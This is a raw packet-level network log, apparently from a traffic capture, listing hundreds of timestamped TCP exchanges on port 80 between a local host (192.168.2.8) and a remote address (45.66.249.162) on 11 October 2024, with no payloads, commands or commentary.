Oct 11, 2024 22:32:38.781534910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781536102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781549931 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781559944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781565905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781579971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781589985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781601906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781610012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781635046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781881094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781900883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781922102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781949043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781970024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.781977892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.781981945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782000065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782016993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782020092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782030106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782054901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782233953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782265902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782360077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782380104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782396078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782398939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782407999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782419920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782426119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782439947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782449007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782460928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782469034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782488108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782490969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782509089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782524109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782527924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782536030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782548904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782553911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782603025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782622099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782624960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782635927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782648087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782653093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782670021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.782685041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.782696009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.918998957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919068098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919070005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919099092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919106960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919123888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919130087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919152021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919161081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919173956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919190884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919195890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919205904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919222116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919235945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919243097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919250011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919260025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919264078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919284105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919305086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919321060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919323921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919343948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919348955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919364929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919373989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919390917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919408083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919425011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919454098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919455051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919476032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919485092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919495106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919502020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919518948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919523001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919543028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919553041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919572115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919572115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919593096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919604063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919614077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919621944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919634104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919640064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919653893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919657946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919672012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919687033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919694901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.919698000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919728041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.919985056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920023918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920056105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920074940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920083046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920094967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920099020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920121908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920128107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920142889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920155048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920164108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920170069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920200109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920511961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920527935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920550108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920555115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920574903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920574903 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920587063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920603991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920607090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920622110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920639992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920644999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920650005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920665026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920674086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920692921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920697927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920717001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920728922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920733929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920751095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920762062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920764923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920784950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920795918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920804977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920824051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920826912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920838118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920846939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920865059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920866013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920883894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920888901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920896053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920908928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920926094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920927048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920944929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920948029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920955896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920968056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920974970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.920989037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.920996904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921008110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921017885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921027899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921036959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921047926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921056032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921066999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921078920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921087027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921094894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921108007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921113014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921128988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921134949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921155930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921199083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921216965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921233892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921236038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921241999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921263933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921266079 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921283960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921293020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921303988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921310902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921330929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921335936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921351910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921359062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921371937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921377897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921391010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921400070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921416998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921418905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921437979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921451092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921453953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921471119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921475887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921483040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921497107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921499014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921525002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921525002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921550989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921552896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921571016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921581030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921591043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921597004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921617985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921618938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921638012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921648979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921658993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921665907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921679974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921684027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921700001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921710014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921729088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921756029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921772957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921789885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921792984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921802044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921813011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921830893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921839952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921850920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921860933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921869993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921880960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921886921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921901941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921907902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921922922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.921930075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.921948910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922013998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922030926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922048092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922049046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922055960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922076941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922077894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922096968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922111988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922120094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922123909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922142029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922156096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922164917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922168016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922185898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922198057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922204971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922216892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922224998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922225952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922246933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922255993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922269106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922274113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922292948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922307968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922327042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922339916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922348022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922350883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922379017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922594070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922625065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922632933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922651052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922663927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922676086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922761917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922781944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.922797918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.922808886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070025921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070099115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070147038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070180893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070210934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070216894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070264101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070270061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070286989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070300102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070316076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070336103 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070337057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070370913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070373058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070405960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070420980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070455074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070456982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070491076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070491076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070518017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070527077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070538998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070550919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070564032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070574999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070595026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070611000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070616007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070631027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070641994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070645094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070660114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070681095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070691109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070708990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070712090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070720911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070734978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070743084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070758104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070775986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070779085 CEST	49707	80	192.168.2.8	45.66.249.162
